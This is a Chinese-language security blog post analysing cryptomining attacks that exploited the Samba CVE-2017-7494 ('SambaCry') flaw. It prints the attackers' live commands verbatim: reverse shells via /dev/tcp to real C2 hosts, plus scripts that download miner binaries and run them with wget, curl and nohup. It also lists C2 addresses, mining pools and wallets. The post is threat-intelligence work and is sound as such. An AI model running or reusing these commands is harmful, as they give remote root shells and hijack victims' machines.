Author: redrain & houjingyi159 @360网络安全响应中心

2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心 和 360信息安全部的Gear Team第一时间对该漏洞进行了分析,确认属于严重漏洞,可以造成远程代码执行。
http://blogs.360.cn/blog/samba远程代码执行漏洞cve-2017-7494分析/

SambaCry漏洞是一个具备规模传播的蠕虫性质漏洞,近期卡巴斯基安全实验室通过蜜罐捕获了一个通过SambaCry漏洞恶意利用bot进行区块连数字货币挖矿的攻击。
在此,360网络安全中心和360追日团队对该事件所使用的后门进行了具体的技术分析。

漏洞利用

因为该漏洞需要对smb共享盘符有可写权限,从卡巴斯基实验室的蜜罐捕获的攻击包来看,攻击者首先对server尝试写入一个随机字符名的文件,成功后则删除。

SambaCry1-1

在检测成功有可写权限后,攻击者暴力猜解写入文件的完整路径,以获得共享目录路径,并写入恶意lib作为payload。

SambaCry2-1

在爆破到正确的路径后,则利用CVE-2017-7494漏洞加载恶意lib执行命令,因为samba默认是以root权限启动,所以之后加载lib执行的命令也将以root权限执行,成功利用后,则删除写入的lib,只在内存中执行恶意命令操作。

恶意lib样本349d84b3b176bbc9834230351ef3bc2a_16106.so(INAebsGB.so)2009af3fed2a4704c224694dfc4b31dc_30361.so(cblRWuoCc.so)

样本分析

INAebsGB.so中,攻击者用/bin/sh执行了一个非常简单的反弹shell操作,从而执行下载文件或者执行后续命令。

SambaCry3-1

发现这个lib其实就是metasploit的is_known_pipename模块生成的。

其后,写入了另一个libcblRWuoCc.so,在这个lib中,攻击者,反弹shell到C2服务器4000端口并下载了一个挖矿程序,将bot作为CPU矿机使用,这个样本中,我们定位了C2服务器和挖矿程序。

cIiPOZ2

SambaCry4-1

执行的行为中:

bash -i < /dev/tcp/rc.ezreal.space/4000 || ((wget http://rc.ezreal.space/minerd64_s -O /tmp/m || curl http://rc.ezreal.space/minerd64_s -o /tmp/m) && chmod +x /tmp/m && (nohup /tmp/m &))

攻击者下载http://rc.ezreal.space/minerd64_s并存于/tmp/m赋予权限后nohup执行。

简单对C2服务器查询如下:

rc.ezreal.space
A记录 149.255.35.33

时间  IP  国家  省/州 运营商
2017-05-17  149.255.35.33   美国  伊利诺伊州   swiftway.net
2017-05-15  149.255.35.33   美国  伊利诺伊州   swiftway.net
2017-04-30  185.86.150.76   瑞典  西约塔兰省   

www.ezreal.space    191.101.31.100
cl.ezreal.space     191.101.31.100
rc2.ezreal.space    149.255.35.77
rc.ezreal.space     149.255.35.33

typo黑客?

在我连接C2服务器rc.ezreal.space4000端口后,看到了以下脚本:

#!/usr/bin/env bash
host='149.255.35.33';

nohup bash -i < /dev/tcp/${host}/4001 &
nohuo bash -i < /dev/tcp/${host}/4002 &
nohuo bash -i < /dev/tcp/${host}/4003 &

攻击者本想通过nohup来忽略系统挂断进行后台运行,但不知道是不是粗心手抖的原因,nohup打成了nohuo

访问其他三个端口,得到这几个脚本:

➜  /tmp nc 149.255.35.33 4001
#!/usr/bin/env bash

#minerd script

host='149.255.35.33';
target=$RANDOM; target+=.so; target=/tmp/$target;

cat < /dev/tcp/${host}/5000 > $target && chmod +x $target && nohup $target &
➜  /tmp nc 149.255.35.33 4002
#!/usr/bin/env bash

# process guard script
➜  /tmp nc 149.255.35.33 4003
#!/usr/bin/env bash

# auto start script%

C2中5000端口获取到的miner程序和从http中下载获得的一致

miner分析

到现在为止,这个C2服务器依旧存活,下载minerd64_s并简单分析,发现就是个常见的CPU挖矿程序miderd但是攻击者并没有像常见的附加参数,而是把所有参数硬编码进程序puts了需要执行的参数。

SambaCry5-1


SambaCry9-1

在这里很快找到了攻击者的矿池和钱包地址:

.rodata:0000000000515604 00000026 C stratum+tcp://xmr.crypto-pool.fr:3333
.rodata:00000000005156CC 00000060 C 43xtViRHn1oibjS6yZSgS6XhFFkSRGC5SHgmymH6ei4r5osjPrC1z85BeCZS89ZtL4iDGDoUhEoKtcVe115Wp7sB6XzHmgy

通过矿池Transaction查询,得知该攻击者挖的是一种山寨币’XDN’和’XMR’,查看近期的转入情况,发现收益还不错:)

另一次攻击

本以为至此我们的分析和卡巴斯基相差无二准备下班回家,但发现360追日团队还提供了一个样本1bb17e0d03ebd5acafbe60b70e38dec4.so(oooo.so)

该lib和cblRWuoCc.so非常类似,但是执行操作并不同

SambaCry7-1

SambaCry8-1

仅仅只是反弹连接了C2服务器的一个端口,连接后返回一个shell脚本:

#!/usr/bin/env bash

#minerd script
pkill .so;

host='45.76.146.166';
target=$RANDOM; target+=.so; target=/tmp/$target;

cat < /dev/tcp/${host}/5555 > $target && chmod +x $target && nohup  $target &

访问45.76.146.166:5555 又得到一个miner程序,该miner的区别在于矿池和钱包地址

.rodata:0000000000515604 00000024 C stratum+tcp://pool.minexmr.com:4444
.rodata:00000000005156CC 00000060 C 4AxoWMDfiPkh1PDHeyDi2TRpHC8hxHKY6ACtWRSY9Um4PuwPqjn9vAhdsSshmGu1RbZBUgKX42f584jGENHwXxsVGENHoGV

SambaCry9-1

总结

从SambaCry漏洞披露之初我们就预计将会有黑客对其进行恶意利用,并从中获利,联想到不久前因为EternalBlue爆发的Wannacry事件,黑客攻击正在变得常态化,尤其是有通用且极易利用漏洞曝光时,攻击事件也可能随之而来。随着比特币的增值,其他虚拟货币价值也伴随增长,这也给黑客通过网络攻击进行获利提供了变现渠道。。

时间线

2017-5-24         Samba发布了4.6.4版本,修复了远程代码执行漏洞CVE-2017-7494
2017-5-25         360网络安全响应中心和360信息安全部联合发布预警公告和第一份漏洞分析
2017-5-30         卡巴斯基安全实验室首次通过蜜罐捕获了SambaCry的野外恶意利用
2017-6-12         360网络安全响应中心和360追日团队联合对攻击方式进行技术分析

参考来源

https://securelist.com/sambacry-is-coming/78674/

源链接

Hacking more

...